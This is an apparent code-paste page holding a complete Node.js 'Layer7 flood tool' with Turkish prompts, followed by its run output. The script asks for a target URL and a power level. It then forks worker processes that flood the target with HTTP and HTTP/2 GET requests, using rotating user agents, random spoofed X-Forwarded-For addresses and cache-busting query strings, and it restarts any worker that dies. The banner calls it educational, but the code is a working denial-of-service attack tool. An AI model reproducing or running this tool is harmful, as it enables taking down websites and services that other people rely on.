fork(1) download
  1. const https = require('https');
  2. const http = require('http');
  3. const http2 = require('http2');
  4. const cluster = require('cluster');
  5. const os = require('os');
  6. const url = require('url');
  7. const readline = require('readline');
  8.  
  9. if (cluster.isMaster) {
  10. const rl = readline.createInterface({
  11. input: process.stdin,
  12. output: process.stdout
  13. });
  14.  
  15. console.clear();
  16. console.log('\x1b[31m═══════════════════════════════════════════════\x1b[0m');
  17. console.log('\x1b[31m ENHANCED LAYER7 FLOOD TOOL\x1b[0m');
  18. console.log('\x1b[31m EĞİTİM AMAÇLIDIR\x1b[0m');
  19. console.log('\x1b[31m═══════════════════════════════════════════════\x1b[0m');
  20. console.log('');
  21.  
  22. let attackStats = {
  23. workers: [],
  24. url: null,
  25. power: 0,
  26. stats: {
  27. totalRequests: 0,
  28. success: 0,
  29. fail: 0,
  30. startTime: null
  31. }
  32. };
  33.  
  34. function showStats() {
  35. if (attackStats.workers.length === 0) return;
  36.  
  37. const elapsed = (Date.now() - attackStats.stats.startTime) / 1000;
  38. const rps = attackStats.stats.totalRequests / elapsed;
  39.  
  40. console.log('\x1b[36m┌─────────────────────────────────────────────────────┐\x1b[0m');
  41. console.log(`\x1b[36m│\x1b[0m 🎯 Hedef: \x1b[33m${attackStats.url}\x1b[0m`);
  42. console.log(`\x1b[36m│\x1b[0m ⚡ Güç: \x1b[32m${attackStats.power}\x1b[0m | 🧵 Worker: \x1b[32m${attackStats.workers.length}\x1b[0m | ⏱️ ${elapsed.toFixed(0)}s`);
  43. console.log(`\x1b[36m│\x1b[0m 📊 Toplam: \x1b[32m${attackStats.stats.totalRequests.toLocaleString()}\x1b[0m | ✅ Başarılı: \x1b[32m${attackStats.stats.success.toLocaleString()}\x1b[0m | ❌ Başarısız: \x1b[31m${attackStats.stats.fail.toLocaleString()}\x1b[0m`);
  44. console.log(`\x1b[36m│\x1b[0m 📈 RPS: \x1b[32m${rps.toFixed(2)}\x1b[0m | Başarı Oranı: \x1b[32m${attackStats.stats.totalRequests > 0 ? ((attackStats.stats.success / attackStats.stats.totalRequests) * 100).toFixed(1) : 0}%\x1b[0m`);
  45. console.log('\x1b[36m└─────────────────────────────────────────────────────┘\x1b[0m');
  46. }
  47.  
  48. cluster.on('message', (worker, msg) => {
  49. if (msg.type === 'request') {
  50. attackStats.stats.totalRequests++;
  51. if (msg.success) {
  52. attackStats.stats.success++;
  53. } else {
  54. attackStats.stats.fail++;
  55. }
  56. }
  57. });
  58.  
  59. cluster.on('exit', (worker, code) => {
  60. const index = attackStats.workers.indexOf(worker.id);
  61. if (index > -1) {
  62. attackStats.workers.splice(index, 1);
  63. if (attackStats.url) {
  64. const newWorker = cluster.fork({
  65. TARGET: attackStats.url,
  66. POWER: attackStats.power
  67. });
  68. attackStats.workers.push(newWorker.id);
  69. }
  70. }
  71. });
  72.  
  73. function startAttack(targetUrl, power) {
  74. if (attackStats.workers.length > 0) {
  75. console.log('\x1b[31m❌ Zaten saldırı var!\x1b[0m');
  76. return;
  77. }
  78.  
  79. if (!targetUrl || !targetUrl.startsWith('http')) {
  80. console.log('\x1b[31m❌ Geçersiz URL!\x1b[0m');
  81. return;
  82. }
  83.  
  84. const numCPUs = Math.min(os.cpus().length, 12);
  85. const finalPower = Math.max(1, Math.min(500, parseInt(power) || 50));
  86.  
  87. attackStats = {
  88. workers: [],
  89. url: targetUrl,
  90. power: finalPower,
  91. stats: {
  92. totalRequests: 0,
  93. success: 0,
  94. fail: 0,
  95. startTime: Date.now()
  96. }
  97. };
  98.  
  99. console.log(`\n\x1b[32m🚀 Saldırı başladı! ${targetUrl} | Güç: ${finalPower}\x1b[0m\n`);
  100.  
  101. for (let i = 0; i < numCPUs; i++) {
  102. const worker = cluster.fork({
  103. TARGET: targetUrl,
  104. POWER: finalPower
  105. });
  106. attackStats.workers.push(worker.id);
  107. }
  108.  
  109. if (global.statsInterval) clearInterval(global.statsInterval);
  110. global.statsInterval = setInterval(showStats, 1000);
  111. }
  112.  
  113. // Sadece URL ve Power sor
  114. rl.question('\x1b[36m🎯 Hedef URL: \x1b[0m', (targetUrl) => {
  115. rl.question('\x1b[36m⚡ Power (1-500): \x1b[0m', (power) => {
  116. rl.close();
  117. startAttack(targetUrl.trim(), power.trim() || '80');
  118.  
  119. console.log('\n\x1b[33m🔥 Saldırı devam ediyor... Durdurmak için Ctrl+C\x1b[0m\n');
  120. });
  121. });
  122.  
  123. // Ctrl+C ile durdur
  124. process.on('SIGINT', () => {
  125. if (attackStats.workers.length > 0) {
  126. console.log('\n\x1b[31m⛔ Durduruluyor...\x1b[0m');
  127. attackStats.workers.forEach(id => {
  128. if (cluster.workers[id]) cluster.workers[id].kill('SIGTERM');
  129. });
  130. if (global.statsInterval) clearInterval(global.statsInterval);
  131. console.log('\x1b[32m👋 Çıkıldı\x1b[0m');
  132. }
  133. process.exit(0);
  134. });
  135.  
  136. } else {
  137. // WORKER
  138. const target = process.env.TARGET;
  139. const power = parseInt(process.env.POWER, 10);
  140.  
  141. const parsed = url.parse(target);
  142. const isHttps = parsed.protocol === 'https:';
  143. const port = parsed.port || (isHttps ? 443 : 80);
  144.  
  145. const uaList = [
  146. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/130.0.0.0 Safari/537.36',
  147. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 Chrome/129.0.0.0 Safari/537.36',
  148. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/128.0.0.0 Safari/537.36',
  149. 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 Version/17.5 Mobile/15E148 Safari/604.1',
  150. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'
  151. ];
  152.  
  153. function randomUA() { return uaList[Math.floor(Math.random() * uaList.length)]; }
  154. function randomIP() { return `${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}`; }
  155.  
  156. function randomPath() {
  157. const base = parsed.path || '/';
  158. return `${base}?${Math.random().toString(36).substring(2, 10)}=${Math.random().toString(36).substring(2, 10)}`;
  159. }
  160.  
  161. let http2session = null;
  162. function createSession() {
  163. if (http2session) http2session.destroy();
  164. try {
  165. http2session = http2.connect(target, {
  166. settings: { enablePush: false, initialWindowSize: 65535 * 4, maxConcurrentStreams: 300 }
  167. });
  168. http2session.on('error', () => { http2session = null; });
  169. http2session.on('close', () => { http2session = null; });
  170. } catch (e) { http2session = null; }
  171. }
  172.  
  173. if (isHttps) createSession();
  174.  
  175. let agent;
  176. if (isHttps) {
  177. agent = new https.Agent({ keepAlive: true, maxSockets: Infinity, maxFreeSockets: 256 });
  178. } else {
  179. agent = new http.Agent({ keepAlive: true, maxSockets: Infinity, maxFreeSockets: 256 });
  180. }
  181.  
  182. function sendRequest() {
  183. const path = randomPath();
  184. let success = false;
  185.  
  186. try {
  187. if (http2session) {
  188. const headers = {
  189. ':method': 'GET',
  190. ':path': path,
  191. ':authority': parsed.host,
  192. ':scheme': 'https',
  193. 'user-agent': randomUA(),
  194. 'x-forwarded-for': randomIP()
  195. };
  196. const stream = http2session.request(headers);
  197. stream.on('error', () => {});
  198. stream.end();
  199. success = true;
  200. } else {
  201. const options = {
  202. hostname: parsed.hostname,
  203. port: port,
  204. path: path,
  205. method: 'GET',
  206. headers: {
  207. 'User-Agent': randomUA(),
  208. 'X-Forwarded-For': randomIP(),
  209. 'Connection': 'keep-alive'
  210. },
  211. agent: agent,
  212. timeout: 5000
  213. };
  214.  
  215. const req = (isHttps ? https : http).request(options, (res) => {
  216. res.resume();
  217. success = true;
  218. });
  219. req.on('error', () => { success = false; });
  220. req.on('timeout', () => { req.destroy(); success = false; });
  221. req.end();
  222. }
  223. } catch (err) {
  224. success = false;
  225. }
  226.  
  227. process.send({ type: 'request', success });
  228. }
  229.  
  230. function floodLoop() {
  231. for (let i = 0; i < power; i++) {
  232. sendRequest();
  233. }
  234. setTimeout(floodLoop, 5 + Math.floor(Math.random() * 5));
  235. }
  236.  
  237. floodLoop();
  238. }
Success #stdin #stdout 0.09s 44544KB
stdin
Standard input is empty
stdout
═══════════════════════════════════════════════
        ENHANCED LAYER7 FLOOD TOOL
        EĞİTİM AMAÇLIDIR
═══════════════════════════════════════════════

🎯 Hedef URL: